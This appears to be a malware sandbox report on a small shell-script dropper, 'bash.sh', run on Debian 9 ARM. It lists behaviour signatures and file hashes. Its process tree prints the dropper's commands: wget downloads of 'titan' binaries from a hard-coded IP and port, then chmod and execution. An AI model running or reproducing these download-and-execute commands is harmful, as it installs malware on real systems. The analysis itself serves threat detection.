Overview

overview

7

Static

static

1

bash.sh

ubuntu-18.04-amd64

7

bash.sh

debian-9-armhf

7

bash.sh

debian-9-mips

7

bash.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    07/09/2026, 05:16

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    bash.sh
  • Size 728B
  • Sample260907-fx973sxvbx
  • SHA256 6628f3a2559eb6bcc0da58951c4a830544d97dff975fb5fbc48267e6322f0143
  • MD5 SHA1 SHA512 TLSH
Score
7/10
credential_accessdefense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Enumerates active TCP sockets 1 TTPs 3 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads process memory 1 TTPs 64 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

    credential_access
  • Reads system network configuration 1 TTPs 3 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bash.sh
    /tmp/bash.sh
    1⤵
    • Executes dropped EXE
    PID:643
    • /usr/bin/wget
      wget -T 10 -O /tmp/titan http://94.154.43.60:8081/titan.arm4l
      2⤵
      • Writes file to tmp directory
      PID:645
    • /bin/chmod
      chmod +x /tmp/titan
      2⤵
      • File and Directory Permissions Modification
      PID:671
    • /tmp/titan
      /tmp/titan
      2⤵
      • Enumerates active TCP sockets
      • Reads process memory
      • Reads system network configuration
      • Enumerates kernel/hardware configuration
      • Reads runtime system information
      PID:673
    • /bin/rm
      rm -f /tmp/titan
      2⤵
        PID:765
      • /usr/bin/wget
        wget -T 10 -O /tmp/titan http://94.154.43.60:8081/titan.arm4tl
        2⤵
        • Writes file to tmp directory
        PID:766
      • /bin/chmod
        chmod +x /tmp/titan
        2⤵
        • File and Directory Permissions Modification
        PID:767
      • /tmp/titan
        /tmp/titan
        2⤵
        • Enumerates active TCP sockets
        • Reads process memory
        • Reads system network configuration
        • Enumerates kernel/hardware configuration
        • Reads runtime system information
        PID:768
      • /bin/rm
        rm -f /tmp/titan
        2⤵
          PID:781
        • /usr/bin/wget
          wget -T 10 -O /tmp/titan http://94.154.43.60:8081/titan.arm5
          2⤵
          • Writes file to tmp directory
          PID:782
        • /bin/chmod
          chmod +x /tmp/titan
          2⤵
          • File and Directory Permissions Modification
          PID:783
        • /tmp/titan
          /tmp/titan
          2⤵
          • Enumerates active TCP sockets
          • Reads process memory
          • Reads system network configuration
          • Enumerates kernel/hardware configuration
          • Reads runtime system information
          PID:784
        • /bin/rm
          rm -f /tmp/titan
          2⤵
            PID:793
          • /usr/bin/wget
            wget -T 10 -O /tmp/titan http://94.154.43.60:8081/titan.arm6
            2⤵
            • Writes file to tmp directory
            PID:794
          • /bin/chmod
            chmod +x /tmp/titan
            2⤵
            • File and Directory Permissions Modification
            PID:797
          • /tmp/titan
            /tmp/titan
            2⤵
            • Reads process memory
            • Enumerates kernel/hardware configuration
            • Reads runtime system information
            PID:798

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              titan
              • Path /tmp/titan
              • Size 189KB
              • SHA256 58a0dae120762d6cfb86b8a5a68f1d11bd7743129f7c2042f67d788c0d8cdb8e
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              titan
              • Path /tmp/titan
              • Size 181KB
              • SHA256 e194e7ea92f41bd92425eb13bfd1b4c21c453e64eabf0c1927142772ff6fb54b
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download